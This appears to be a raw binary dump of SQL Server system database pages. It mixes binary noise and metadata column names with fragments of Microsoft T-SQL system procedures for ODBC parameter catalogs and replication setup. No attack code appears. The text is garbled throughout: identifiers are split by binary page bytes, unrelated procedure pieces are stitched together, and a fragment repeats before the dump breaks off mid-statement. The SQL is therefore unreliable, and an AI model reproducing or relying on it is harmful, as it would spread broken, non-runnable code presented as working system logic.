!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,d`.Q)6ϓJ63"group_id6 "language6.last_wait_type6,*lock_timeout6,logical_reads60&nest_level6:open_resultset_count6>open_transaction_count66(pdw_node_id62percent_complete6	(plan_handle6/&prev_error64&query_hash650query_plan_hash6#4quoted_identifier6reads6&request_id6.$row_count6*scheduler_id6&session_id6&sql_handle6&start_time6:statement_end_offset6>statement_start_offset6status6*task_address6$text_size66total_elapsed_time6.transaction_id6+Htransaction_isolation_level6 user_id6,wait_resource6$wait_time6$wait_type6writes64CHAR_OCTET_LENGTH6:CHAR_OCTET_LENGTH_286&COLUMN_DEF6(COLUMN_NAME6$DATA_TYPE6
*DATA_TYPE_286	*DATA_TYPE_906 (IS_NULLABLE6LENGTH6$LENGTH_286$LENGTH_906"NULLABLE6$OBJECT_ID6,(OBJECT_TYPE6 ODBCVER62ORDINAL_POSITION6
$PRECISION6*PRECISION_286RADIX6 REMARKS6SCALE6"SCALE_906$SCHEMA_ID6,SQL_DATA_TYPE62SQL_DATA_TYPE_2862SQL_DATA_TYPE_9062SQL_DATETIME_SUB68SQL_DATETIME_SUB_906+*SS_DATA_TYPE6"2SS_IS_COLUMN_SET6#.SS_IS_COMPUTED6$.SS_IS_IDENTITY6!*SS_IS_SPARSE6'DSS_UDT_ASSEMBLY_TYPE_NAME6%8SS_UDT_CATALOG_NAME6&6SS_UDT_SCHEMA_NAME6(ZSS_XML_SCHEMACOLLECTION_CATALOG_NAME6*JSS_XML_SCHEMACOLLECTION_NAME6)XSS_XML_SCHEMACOLLECTION_SCHEMA_NAME6&TABLE_NAME6(TABLE_OWNER60TABLE_QUALIFIER6$TYPE_NAME6*TYPE_NAME_286Be(database_id6BeTinternal_objects_alloc_page_count6BeXinternal_objects_dealloc_page_count6Be&session_id6BeLuser_objects_alloc_page_count6BePuser_objects_dealloc_page_count6B,@table_server6B.@table_catalog6B(@table_name6B,@table_schema6B(@table_type6M$object_id6M$schema_id6M2procedure_number6Mtype6M4PROCEDURE_CATALOG6M2PROCEDURE_SCHEMA6M.PROCEDURE_NAME6M.PARAMETER_NAME6M	2ORDINAL_POSITION6M
.PARAMETER_TYPE6M:PARAMETER_HASDEFAULT6M4PARAMETER_DEFAULT6M
(IS_NULLABLE6M$DATA_TYPE6M*DATA_TYPE_906M*DATA_TYPE_286MBCHARACTER_MAXIMUM_LENGTH6MHCHARACTER_MAXIMUM_LENGTH_906MHCHARACTER_MAXIMUM_LENGTH_286M>CHARACTER_OCTET_LENGTH6MDCHARACTER_OCTET_LENGTH_906MDCHARACTER_OCTET_LENGTH_286M4NUMERIC_PRECISION6M,NUMERIC_SCALE6M(DESCRIPTION6M$TYPE_NAME6M*TYPE_NAME_286M0LOCAL_TYPE_NAME6M6LOCAL_TYPE_NAME_286MXSS_XML_SCHEMACOLLECTION_CATALOGNAME6MVSS_XML_SCHEMACOLLECTION_SCHEMANAME6M HSS_XML_SCHEMACOLLECTIONNAME6M!6SS_UDT_CATALOGNAME6M"4SS_UDT_SCHEMANAME6M#(SS_UDT_NAME6M$BSS_UDT_ASSEMBLY_TYPENAME6M%:SS_TYPE_CATALOG_NAME6M&6SS_TYPE_SCHEMANAME6M'4MANAGED_DATA_TYPE6M(<SS_DATETIME_PRECISION6"@timeout6$@lockmode6.@lock_acquired6*@publication68@destination_folder6(@subscriber6.@subscriber_db6&@publisher6ZD@active_start_time_of_day6Z@@active_end_time_of_day6Z6@active_start_date6Z2@active_end_date6&$@agent_id6&&@runstatus6&$@comments6&@@delivered_transactions6&8@delivered_commands6&&@log_error6&6@perfmon_increment6&:@update_existing_row6&	,@do_raiserror6&
6@start_time_string6&$@duration60@monitor_server6,@missing_cols60@relative_colid60@absolute_colid6@subid6@artid6(@range_type6,@ranges_given6*@range_begin6&@range_endpe6&$@ageD"LF|(


Z
4
8\.

l
:

			d	H	(		lD pFp<.hZ6rHX,tP\0dr4f"\l>(@r0DBr4^:nH N(`	d)J M60,property_name6:W,@table_schema6"ag_id6",ag_replica_id6"0ag_replica_name6"(apply_delay6"4availability_mode6"
0backup_priority6"*endpoint_url6",failover_mode6"Nprimary_role_allow_connections6"Xprimary_role_allow_connections_desc6"<read_only_routing_url6"	Rsecondary_role_allow_connections6"
\secondary_role_allow_connections_desc6"0session_timeout6T$@funcname6V @handle6Vdbid6V$encrypted6Vnumber6V"objectid6Vtext6Z.active_backups6Z*active_loads6Z0active_requests6Z0active_restores6:W*@column_name6\3*@type_server6\3,@type_catalog6\3&@type_name6\3*@type_schema6\3*@assembly_id6lW*@publication6lW&@publisher6lW,@publisher_db6iJ(@profile_id6iJ0@parameter_name6&@publisher6,@publisher_db6*@publication6(@subscriber6.@subscriber_db6	&@publisher6	,@publisher_db6	*@publication6	 @tranid6	*@orderkeylow6	,@orderkeyhigh6J*@publication6i@mode6i4@secondary_server6i8@secondary_database6i,@secondary_id6i0@primary_server6i0@monitor_server6iL@monitor_server_security_mode6i4@primary_database6i	6@restore_threshold6i
2@threshold_alert6iB@threshold_alert_enabled6i4@last_copied_file6i
4@last_copied_date6i<@last_copied_date_utc6i8@last_restored_file6i8@last_restored_date6i@@last_restored_date_utc6i>@last_restored_latency6iD@history_retention_period6gHB*@publication6gHB$@freqtype6gHB,@freqinterval6gHB*@freqsubtype6gHB2@freqsubinterval6gHB<@freqrelativeinterval6gHB<@freqrecurrencefactor6gHB2@activestartdate6gHB	.@activeenddate6gHB
<@activestarttimeofday6gHB8@activeendtimeofday6gHB&@newtaskid6gHB
6@snapshot_job_name6gHBB@publisher_security_mode6gHB2@publisher_login6gHB8@publisher_password6gHB&@job_login6gHB,@job_password6c,,@functionname6c,&@isdynamic6c,0@uses_host_name6c,4@uses_suser_sname6_X"@maxrows6_X&@tablenick6_X"@rowguid6_X2@tablenotbelongs6_X$@bookmark6_X@@specified_article_only6_X*@compatlevel6_X@pubid6_X	>@enumentirerowmetadataf_day6v@@active_end_time_of_day6v6@snapshot_job_name6v
B@publisher_security_mode6v2@publisher_login6v8@publisher_password6v&@job_login6v,@job_password6v&@publisher6v0@publisher_type6iJ(@profile_id6iJ0@parameter_name6lf(@profile_id6&@publisher6,@publisher_db6*@publication6(@subscriber6.@subscriber_db6	&@publisher6	,@publisher_db6	*@publication6	 @tranid6	*@orderkeylow6	,@orderkeyhigh6v*@publication6v&@xlockrows6J*@publication6S̉(@request_id6S̉(@originator6S̉.@originator_db6S̉.@response_srvr6S̉*@response_db6;d&@publisher6i@mode6i4@secondary_server6i8@secondary_database6i,@secondary_id6i0@primary_server6i0@monitor_server6iL@monitor_server_security_mode6i4@primary_database6i	6@restore_threshold6i
2@threshold_alert6iB@threshold_alert_enabled6i4@last_copied_file6i
4@last_copied_date6i<@last_copied_date_utc6i8@last_restored_file6i8@last_restored_date6i@@last_restored_date_utc6i>@last_restored_latency6iD@history_retention_period6gHB*@publication6gHB$@freqtype6gHB,@freqinterval6gHB*@freqsubtype6gHB2@freqsubinterval6gHB<@freqrelativeinterval6gHB<@freqrecurrencefactor6gHB2@activestartdate6gHB	.@activeenddate6gHB
<@activestarttimeofday6gHB8@activeendtimeofday6gHB&@newtaskid6gHB
6@snapshot_job_name6gHBB@publisher_6(hh`rT0~(6
X``


H
 64F`X0f
>		r	
	
6

"	t<`,XZ4`)0_w6$OBJECT_ID6$SCHEMA_ID6,TABLE_CATALOG6&TABLE_NAME6*TABLE_SCHEMA6$@viewname6}ȟ	0client_app_name6}ȟcpu6}ȟ(create_time6}ȟevent6}ȟ"event_id6}ȟ(pdw_node_id6}ȟreads6}ȟ&session_id6}ȟ"sql_text6}ȟ
&tsql_stack6}ȟwrites60connected_state6	:connected_state_desc6"group_id6"is_local6Nlast_connect_error_description6Dlast_connect_error_number6Jlast_connect_error_timestamp64operational_state6>operational_state_desc6
0recovery_health6:recovery_health_desc6&replica_id6role6$role_desc6>synchronization_health6
Hsynchronization_health_desc6M<authentication_method6M*connect_time6M,connection_id6M:encryption_algorithm6MDencryption_algorithm_desc6M$is_accept6MFis_receive_flow_controlled6M@is_send_flow_controlled6M
6last_activity_time6M(login_state6M
2login_state_desc6M&login_time6M8peer_arbitration_id6M8peer_certificate_id6M.principal_name6M0receives_posted6M	2remote_user_name6M*sends_posted6Mstate6M&state_desc6M:total_bytes_received6M2total_bytes_sent6MBtotal_fragments_received6M:total_fragments_sent6M.total_receives6M(total_sends6M8transport_stream_id6	(PRIMARY_KEY6
UNIQUE6TYPE6.SORT_BOOKMARKS62ORDINAL_POSITION6PAGES6STATUSt6t&@parameter6@pubid6@value6T @job_id6T.@offloadserver6T(@agent_type6@$@password6Ռ0@publisher_type6Ռ&@publisher6Ռ.@security_mode6Ռ@login6Ռ$@password6Ռ2@connect_timeout6'(column_name6'.column_ordinal6',dest_datatype6'(dest_length6'
"dataloss6',@publisher_id6'$@table_id6'(@article_id6'0@publisher_dbms6'6@publisher_version6'$@defaults6t%*@publication6t%.@source_object6t%(@str_prefix6t%0@conflict_table6O,@publisher_id6O,@publisher_db6O*@publication6O.@subscriber_db6O2@subscriber_name6O2@anonymous_subid6O$@agent_id6O(@reinitanon6.@source_schema6*@source_name64@capture_instancef^6f^.@source_schema6f^*@source_name6f^*@column_name6<*@publication6<,@source_table6I=&@ownername6I=&@tablename6I="@rowguid6I=@show6*@publication6B@reinitialize_subscriber60@tablenick_last6,@rowguid_last6@pubid6$@max_rows6U)@pubid6U)@subid6U),@replicastate6U)(@subscriber6U).@subscriber_db6U):@subscriber_priority6U)2@subscriber_type6U)6@subscription_type6U)	&@sync_type6U)
*@publication6U)*@distributor6U)2@replica_version6&@tablename6"@colname6@type6"@keyname6@flags,TABLE_VERSION6[(CARDINALITY6[
(DESCRIPTION6[*TABLE_PROPID6[(TABLE_FLAGSt6t&@parameter6F6@subscription_type6F&@publisher6F,@publisher_db6F$@reserved6@pubid6@valueD5!6D5! @prefix6D5!&@publisher6D5!*@publisherdb6D5!*@publication6D5!,@subscriberdb6T @job_id6T.@offloadserver6T(@agent_type6@$@password6Ռ0@publisher_type6Ռ&@publisher6Ռ.@security_mode6Ռ@login6Ռ$@password6Ռ2@connect_timeout6'(column_name6'.column_ordinal6'(source_info6',dest_datatype6'(dest_length6'.dest_precision6'&dest_scale6',dest_nullable6'	"is_pkcol6'
&is_defined6'*is_published6'"is_valid6'
"dataloss6'&mapping_id6',@publisher_id6'$@table_id6'(@article_d\0^ 

l


2pb0

^
,
				T	$	`.J&|R$Tzh>d:"
4\2r@f"HH
lR,PtR0`:xHBp$Dh(`T	c)2
-p6/)O*@fUsePattern6/)O"@ODBCVer6/)O0@procedure_name6/)O2@procedure_owner6/)O:@procedure_qualifier6?]$@alert_id6?].@database_name6?]"@enabled6?]&@threshold6w=d*@column_name6w=d(@table_name6w=d,@table_schema6vHfirst_snapshot_sequence_num6vDfirst_useful_sequence_num6vLlast_transaction_sequence_num6v(pdw_node_id6v.transaction_id6v@transaction_is_snapshot6vBtransaction_sequence_num6+Z pool_id6+Z0processor_group6+Z.scheduler_mask6$@fullscan6&@indexonly6*@norecompute6(@table_name6,@table_schema6tľ@defdb6tľ*@deflanguage6tľ(@encryptopt6tľ$@loginame6tľ @passwd6tľ@sid6&@namespace6"@objname6p*is_ambiguous6p8is_caller_dependent6pDis_schema_bound_reference6p,is_select_all6p(is_selected6p&is_updated6p2referenced_class6p	<referenced_class_desc6pBreferenced_database_name6p
>referenced_entity_name6p,referenced_id6p8referenced_minor_id6p<referenced_minor_name6p>referenced_schema_name6p
>referenced_server_name6p4referencing_class6p>referencing_class_desc6p@referencing_entity_name6p.referencing_id6p:referencing_minor_id6p@referencing_schema_name6-,affinity_type6-6affinity_type_desc6-*committed_kb6-8committed_target_kb6-$cpu_count6-$cpu_ticks6-Ndeadlock_monitor_serial_number6-4hyperthread_ratio6-4max_workers_count6-"ms_ticks6-,os_error_mode6-
4os_priority_class6-&os_quantum6-6physical_memory_kb6->process_kernel_time_ms6-:process_user_time_ms6-0scheduler_count6-<scheduler_total_count6-:sqlserver_start_time6-Lsqlserver_start_time_ms_ticks6-
8stack_size_in_bytes6-(time_source6-2time_source_desc6"@grantor6"@grantee6,@table_schema6"@grantor6"@grantee6,@table_server6.@table_catalog6(@table_name6,@table_schema6"@grantor6"@grantee6E@cmd6E@debug68@destination_object66@destination_owner6&@publisher6,@publisher_db6*@publication6(@subscriber6.@subscriber_db66@subscription_type68@run_at_distributor62@last_xact_seqno6	6@subscription_guid6
@subid6D@mode6D$@certname6D&@publisher6D,@publisher_db6D*@publication6 @dbname6@type6$@reserved60@lower_bound_id6(@agent_type6,@is_publisher6&@publisher6@type6*@publication6"@article6"@coltype6@*@publication6@"@article6@ @column6@&@operation6@@@refresh_synctran_procs6@8@ignore_distributor6@.@change_active6@F@force_invalidate_snapshot6@	F@force_reinit_subscription6@
$@internal6B*@publication6B"@article6B@objid6B@artid6B2@identity_insert6*,@subid6*,@type64@pubid64@artid64&@procmapid64"@pubname64"@artname64&@publisher64 @dbname64*@for_p2p_ddl64	 @format64
 @has_ts64&@has_ident64@alter6*@publication6"@article6&@publisher6&@publisher6,@publisher_db6*@publication6:u@name6:u*@show_distdb6:u6@exclude_anonymous6&@publisher6,@publisher_db6*@publication6(@subscriber6.@subscriber_db6$@property6@value6.@source_schema6*@source_name64@capture_instance6<@supports_net_changes6&@role_name6(@index_name6<@captured_column_list60@filegroup_name6x$@job_typej6j@lsn6U@pubid6U.@schemaversion6U(@schemaguidH.d>j
tV:~.\T@*l
6hz4H&r`0r0`8`|`4lH
`<(7	+]vg     ) inner join
        sys.spt_datatype_info d on
            (
                d.ss_dtype = s_ap.system_type_id and
                (
                    d.ss_usertype = s_ap.user_type_id or -- system UDTs & regular types
                    (
                        d.ss_dtype = 240 or s_ap.user_type_id > 255 -- CLR UDTs
                        -- presently d.ss_dtype = d.ss_usertype for all the types.
                    )
                ) and
                d.AUTO_INCREMENT = 0
            ) inner join
        sys.types t on
            (
                t.user_type_id   = s_ap.user_type_id
            )
        left join
        sys.assembly_types u on
            (
                u.user_type_id = s_ap.user_type_id and
                u.user_type_id = t.user_type_id
            )
        left join
        sys.xml_schema_collections xsc on
            (
                xsc.xml_collection_id = s_ap.xml_collection_id
            )

    union all

    -- (2) Generate resultset for system SProcs:
    -- Copy & pasted from (1) above and replaced with spt_procedures_system, spt_parameters_system
    select
    -- begin (for doing joins)
        object_id                   = pro.object_id,
        schema_id                   = pro.schema_id,
        procedure_number            = pro.procedure_number,
        odbcver                     = d.odbcver,
    -- end (for doing joins)
        PROCEDURE_QUALIFIER = convert(sysname,db_name()),
        PROCEDURE_OWNER     = convert(sysname,schema_name(pro.schema_id)),
        PROCEDURE_NAME      = pro.name,
        COLUMN_NAME         = convert(sysname,
                                case
                                when s_ap.parameter_id = 0 -- UDF return value
                                then N'@RETURN_VALUE'
                                else s_ap.name
                                end),
        COLUMN_TYPE         = convert(smallint,
                                case
                                when s_ap.parameter_id = 0 -- UDF return value
                                then 5 -- SQL_RETURN_VALUE
                                else 1+s_ap.is_output
                                end),
        DATA_TYPE           = d.DATA_TYPE,
        DATA_TYPE_90		= convert(smallint, -- 9.0 compatible ODBC types
                                case
                                when d.ss_dtype IN (40, 41, 42, 43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                     -9  -- SQL_WVARCHAR
                                when (s_ap.max_length = 0 and d.ss_dtype = 240) then -- Large UDT => varbinary(max) for 9.0 clients
                                    -3
                                else 
                                    d.DATA_TYPE
                                end),
        DATA_TYPE_28        = convert(smallint, -- backward-compatible ODBC types
                                case
                                when (d.ss_dtype = 240) then -- CLR UDT
                                    -4
                                when (d.ss_dtype = 241) then -- XML
                                    -10
                                when (s_ap.max_length = 0 and d.ss_dtype = 167) then -- varchar(max)
                                    -1
                                when (s_ap.max_length = 0 and d.ss_dtype = 231) then -- nvarchar(max)
                                    -10
                                when (s_ap.max_length = 0 and d.ss_dtype = 165) then -- varbinary(max)
                                    -4
                                when d.ss_dtype IN (40, 41, 42, 43) then  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                     -9  -- SQL_WVARCHAR
                                else
                                    d.DATA_TYPE
                                end),
        TYPE_NAME           = t.name,
        TYPE_NAME_28        = convert(sysname,
                                case
                                when (s_ap.max_length = 0 and d.ss_dtype = 167) then -- varchar(max)
                                    N'text'
                                when (s_ap.max_length = 0 and d.ss_dtype = 231) then -- nvarchar(max)
                                    N'ntext'
                                when (s_ap.max_length = 0 and d.ss_dtype = 165) then -- varbinary(max)
                                    N'image'
                                else
                                    t.name
                                end),
        "PRECISION"         = convert(int,
                                case
                                when d.DATA_TYPE in (6,7) then d.data_precision -- FLOAT/REAL
                                when (s_ap.max_length = 0 and d.ss_dtype = 240) then -- Large UDT => same precision as varbinary(max)
                                    0
                                else OdbcPrec(s_ap.system_type_id,s_ap.max_length,s_ap.precision)
                                end),
        PRECISION_28        = convert(int,
                                case
                                when d.DATA_TYPE in (6,7) then -- FLOAT/REAL
                                    d.data_precision
                                when (d.ss_dtype = 241) then -- XML
                                    1073741823
                                when (s_ap.max_length = 0 and d.ss_dtype = 167) then -- varchar(max)
                                    2147483647
                                when (s_ap.max_length = 0 and d.ss_dtype = 231) then -- nvarchar(max)
                                    1073741823
                                when (s_ap.max_length = 0 and d.ss_dtype = 165) then -- varbinary(max)
                                    2147483647
                                when (s_ap.max_length = 0 and d.ss_dtype = 240) then -- Large UDT => image for non-SNAC clients
                                    2147483647
                                else
                                    OdbcPrec(s_ap.system_type_id,s_ap.max_length,s_ap.precision)
                                end),
        "LENGTH"            = convert(int,
                                case
                                when type_name(d.ss_dtype) IN ('numeric','decimal') then -- decimal/numeric types
                                    OdbcPrec(s_ap.system_type_id,s_ap.max_length,s_ap.precision)+2
                                when (d.DATA_TYPE = -151 and s_ap.max_length = 0) then -- Large UDT => same length as varbinary(max)
                                    0
                                when d.DATA_TYPE = -151 then -- Small UDT 
                                    t.max_length
                                else
                                    isnull(d.length, s_ap.max_length)
                                end),
        LENGTH_90            = convert(int,
                                case
                                when type_name(d.ss_dtype) IN ('numeric','decimal') then -- decimal/numeric types
                                    OdbcPrec(s_ap.system_type_id,s_ap.max_length,s_ap.precision)+2
                                when d.DATA_TYPE = -151 then -- CLR UDT
                                    t.max_length
                                when d.ss_dtype IN (40, 41, 42, 43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    OdbcPrec(s_ap.system_type_id,s_ap.max_length,s_ap.precision)*2
                                else
                                    isnull(d.length, s_ap.max_length)
                                end),
        LENGTH_28           = convert(int,
                                case
                                when type_name(d.ss_dtype) IN ('numeric','decimal') then -- decimal/numeric types
                                    OdbcPrec(s_ap.system_t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(7{vgype_id,s_ap.max_length,s_ap.precision)+2
                                when (d.ss_dtype = 240 and s_ap.max_length = 0) then -- Large UDT => image for non-SNAC clients
                                    2147483647
                                when d.ss_dtype = 240 then -- Small UDT
                                    t.max_length
                                when (d.ss_dtype = 241) then -- XML
                                    2147483646
                                when (s_ap.max_length = 0 and d.ss_dtype = 167) then -- varchar(max)
                                    2147483647
                                when (s_ap.max_length = 0 and d.ss_dtype = 231) then -- nvarchar(max)
                                    2147483646
                                when (s_ap.max_length = 0 and d.ss_dtype = 165) then -- varbinary(max)
                                    2147483647
                                when d.ss_dtype IN (40, 41, 42, 43) then --- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    OdbcPrec(s_ap.system_type_id,s_ap.max_length,s_ap.precision)*2
                                else
                                    isnull(d.length, s_ap.max_length)
                                end),
        SCALE               = convert(smallint,
                                case
                                when (d.DATA_TYPE = -151) then -- CLR UDT
                                    null
                                else
                                    OdbcScale(s_ap.system_type_id,s_ap.scale)
                                end),
        SCALE_90            = convert(smallint,
                                case
                                when (d.DATA_TYPE = -151) then -- CLR UDT
                                    null
                                when d.ss_dtype IN (40, 41, 42, 43) then  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    null
                                else
                                    OdbcScale(s_ap.system_type_id,s_ap.scale)
                                end),
        RADIX               = d.RADIX,
        NULLABLE            = d.NULLABLE,
        REMARKS             = convert(varchar(254),null),   -- Remarks are NULL
        COLUMN_DEF          = convert(nvarchar(4000),NULL),
        SQL_DATA_TYPE       = d.SQL_DATA_TYPE,
        SQL_DATA_TYPE_90	= convert(smallint,
                                case
                                when d.ss_dtype IN (40, 41, 42, 43) then  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                     -9  -- SQL_WVARCHAR
                                when (s_ap.max_length = 0 and d.ss_dtype = 240) then -- Large UDT => varbinary(max) for 9.0 clients
                                    -3
                                else
                                    d.SQL_DATA_TYPE
                                end),
        SQL_DATA_TYPE_28    = convert(smallint, -- backward-compatible ODBC types
                                case
                                when (d.ss_dtype = 240) then -- CLR UDT
                                    -4
                                when (d.ss_dtype = 241) then -- XML
                                    -10
                                when (s_ap.max_length = 0 and d.ss_dtype = 167) then -- varchar(max)
                                    -1
                                when (s_ap.max_length = 0 and d.ss_dtype = 231) then -- nvarchar(max)
                                    -10
                                when (s_ap.max_length = 0 and d.ss_dtype = 165) then -- varbinary(max)
                                    -4
                                when d.ss_dtype IN (40, 41, 42, 43) then  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                     -9  -- SQL_WVARCHAR
                                else
                                    d.SQL_DATA_TYPE
                                end),
        SQL_DATETIME_SUB    = d.SQL_DATETIME_SUB,
        SQL_DATETIME_SUB_90	= convert(smallint,
                                case
                                when d.ss_dtype IN (40, 41, 42, 43) then  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    null
                                else
                                    d.SQL_DATETIME_SUB
                                end),
        CHAR_OCTET_LENGTH   = case
                                when (d.DATA_TYPE = -151 and s_ap.max_length = 0) then -- Large UDT => same length as varbinary(max)
                                  0
                                when d.DATA_TYPE = -151 then -- Small UDT
                                  t.max_length 
                              else
                                  isnull(d.length, s_ap.max_length)+d.charbin
                              end,
        CHAR_OCTET_LENGTH_28 =  case
                                when (d.ss_dtype = 240 and s_ap.max_length = 0) then -- Large UDT => image for non-SNAC clients 
                                    2147483647
                                when d.ss_dtype = 240 then -- Small UDT 
                                    t.max_length 
                                when (d.ss_dtype = 241) then -- XML
                                    2147483646
                                when (s_ap.max_length = 0 and d.ss_dtype = 167) then -- varchar(max)
                                    2147483647
                                when (s_ap.max_length = 0 and d.ss_dtype = 231) then -- nvarchar(max)
                                    2147483646
                                when (s_ap.max_length = 0 and d.ss_dtype = 165) then -- varbinary(max)
                                    2147483647
                                else
                                  isnull(d.length, s_ap.max_length)+d.charbin
                                end,
        ORDINAL_POSITION    = convert(int, s_ap.parameter_id),
        IS_NULLABLE         = convert(varchar(254),rtrim(substring('NO YES',d.NULLABLE*3+1,3))),
        SS_TYPE_CATALOG_NAME = convert(sysname,
                              case
                              when (d.DATA_TYPE = -151 or d.DATA_TYPE = -153) then -- UDT or TABLE
                                  db_name()
                              else
                                  null
                              end),
        SS_TYPE_SCHEMA_NAME  = convert(sysname,
                              case
                              when (d.DATA_TYPE = -151 or d.DATA_TYPE = -153) then -- UDT or TABLE
                                  schema_name(t.schema_id)
                              else
                                  null
                              end),
        SS_UDT_CATALOG_NAME = convert(sysname,
                                case
                                when (d.DATA_TYPE = -151) then -- CLR UDT
                                    db_name()
                                else
                                    null
                                end),
        SS_UDT_SCHEMA_NAME  = convert(sysname,
                                case
                                when (d.DATA_TYPE = -151) then -- CLR UDT
                                    schema_name(t.schema_id)
                                else
                                    null
                                end),
        SS_UDT_ASSEMBLY_TYPE_NAME    = u.assembly_qualified_name,
        SS_XML_SCHEMACOLLECTION_CATALOG_NAME = convert(sysname,
                                case
                                when (d.DATA_TYPE = -152 and xsc.name is not null) then -- XML
                                    db_name()
                                else
                                    null
                                end),
        SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = c!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<E7,pgonvert(sysname,
                                case
                                when (d.DATA_TYPE = -152 and xsc.name is not null) then -- XML
                                    schema_name(xsc.schema_id)
                                else
                                    null
                                end),
        SS_XML_SCHEMACOLLECTION_NAME = xsc.name,
        SS_DATA_TYPE        = convert(tinyint, -- Info here is for backward compatibility - SQL 6.5
                                case
                                when (d.DATA_TYPE = -151) then -- CLR UDT
                                    23
                                else
                                    XTypeToTds(s_ap.system_type_id, t.is_nullable)
                                end)
    from
        sys.spt_procedures_system pro inner join
        sys.spt_parameters_system s_ap on
            (
                s_ap.object_id = pro.object_id and
                s_ap.procedure_number = pro.procedure_number
            ) inner join
        sys.spt_datatype_info d on
            (
                d.ss_dtype = s_ap.system_type_id and
                (
                    d.ss_usertype = s_ap.user_type_id or -- system UDTs & regular types
                    (
                        d.ss_dtype = 240 or s_ap.user_type_id > 255 -- CLR UDTs
                        -- presently d.ss_dtype = d.ss_usertype for all the types.
                    )
                ) and
                d.AUTO_INCREMENT = 0
            ) inner join
        sys.types t on
            (
                t.user_type_id   = s_ap.user_type_id
            )
        left join
        sys.xml_schema_collections xsc on
            (
                xsc.xml_collection_id = s_ap.xml_collection_id
            )
        left join
        sys.assembly_types u on
            (
                u.user_type_id = s_ap.user_type_id
            )
Ztnds27''
exec dbo.sp_MS_marksystemobject N''dbo.sp_MSadd_replcmds''
exec dbo.sp_MS_marksystemobject N''dbo.sp_MSremove_published_jobs''
exec dbo.sp_MS_marksystemobject N''dbo.sp_MSsubscription_cleanup''
exec dbo.sp_MS_marksystemobject N''dbo.sp_MSdelete_publisherdb_trans''
exec dbo.sp_MS_marksystemobject N''dbo.sp_MSmaximum_cleanup_seqno''
exec dbo.sp_MS_marksystemobject N''dbo.sp_MSdistribution_delete''
exec dbo.sp_MS_marksystemobject N''dbo.sp_MSdistribution_cleanup''
exec dbo.sp_MS_marksystemobject N''dbo.sp_MShistory_cleanup''
exec dbo.sp_MS_marksystemobject N''dbo.sp_MSget_repl_version''
exec dbo.sp_MS_marksystemobject N''dbo.MSdistribution_status''
exec dbo.sp_MS_marksystemobject N''dbo.sp_MSlog_agent_cancel''
exec dbo.sp_MS_marksystemobject N''dbo.sp_MSdelete_dodelete''
exec dbo.sp_MS_marksystemobject N''dbo.fn_MSmask_agent_type''

')
    if @@error <> 0 return 1
    exec('
/****************************************************************************/
print ''''
print ''Adding user ''''guest''''.''
print ''''
/****************************************************************************/
if not exists (select * from sysusers where
	name = N''guest'' and
	hasdbaccess = 1)
	EXEC  dbo.sp_adduser ''guest''

/****************************************************************************/
print ''''
print ''Adding role ''''replmonitor''''.''
print ''''
/****************************************************************************/
if not exists (select * from sysusers where
	name = N''replmonitor'' and
	issqlrole = 1)
	EXEC  dbo.sp_addrole ''replmonitor''


')
    if @@error <> 0 return 1
    exec('
checkpoint

')
    if @@error <> 0 return 1
    exec('
EXEC dbo.sp_configure ''allow updates'', 0

')
    if @@error <> 0 return 1
    exec('
reconfigure with override

')
    if @@error <> 0 return 1
    exec('-- - ----


')
    if @@error <> 0 return 1

end
F&        EXEC @retcode = sys.sp_MSscriptcustomdelproc @artid, @publishertype, @publisher, @usesqlclr

			IF (@@ERROR != 0) OR (@retcode != 0)
			BEGIN
				SELECT @retcode = 1
				GOTO Failure
			END

            insert into #scripttext(line) values('go')
            insert into #scripttext(line) values('')
        end
        else if lower(substring(@del_cmd,1,len(N'sql'))) = N'sql'
        begin
            select @formattedmessage = formatmessage(21519)

			IF (@@ERROR != 0)
			BEGIN
				SELECT @retcode = 1
				GOTO Failure
			END

	      insert #scripttext(line) values('-- ' + @formattedmessage)
	       insert #scripttext(line) values('')

        end
        else
        begin
            select @formattedmessage = formatmessage(21520,@del_cmd)

			IF (@@ERROR != 0)
			BEGIN
				SELECT @retcode = 1
				GOTO Failure
			END

     	     insert #scripttext(line) values('-- ' + @formattedmessage)
            insert #scripttext(line) values('')

        end

SkipArticle:
        FETCH	harticle
        INTO	@artid,
        		@ins_cmd,
        		@upd_cmd,
        		@del_cmd,
        		@current_article,
        		@schema_option
    end
       
Failure:
    
    if @cursor_opened <> 0
    begin
        close harticle
    end

    if @cursor_allocated <> 0
    begin
        deallocate harticle
    end 
    return @retcode    
end
=c== ''
    set @command4 = @command4 + '
        delete ' + @quoted_viewname + '  with (rowlock)
        from deleted d, ' + @quoted_viewname + ' cont with (rowlock)
        where cont.tablenick = @tablenick and cont.rowguid = d.rowguidcol
        option (force order, loop join)'
        
    set @command4 = @command4+'

    if @@error <> 0
        GOTO FAILURE'

    -- Do not update the tombstone table if the delete_tracking property is set to false on the article.
    -- This property when set blocks replication of deletes. Note: It causes non-convergence.
    if @delete_tracking = 1
    begin
        set @command4 = @command4 + '

    '
    end
    
    set @command4 = @command4+'
    return
FAILURE:
    if @@trancount > 0
        rollback tran
    raiserror (20041, 16, -1)
    return '
        insert into #tmptriggercmd (phase, cmdtext) values (20, @command4)
        insert into #tmptriggercmd (phase, cmdtext) values (2, @inscommand)
    end

    select cmdtext from #tmptriggercmd where cmdtext is not null order by phase, step
    drop table #tmptriggercmd
   else
        begin
            select @formattedmessage = formatmessage(21520,@del_cmd)

			IF (@@ERROR != 0)
			BEGIN
				SELECT @retcode = 1
				GOTO Failure
			END

     	     insert #scripttext(line) values('-- ' + @formattedmessage)
            insert #scripttext(line) values('')

        end

SkipArticle:
        FETCH	harticle
        INTO	@artid,
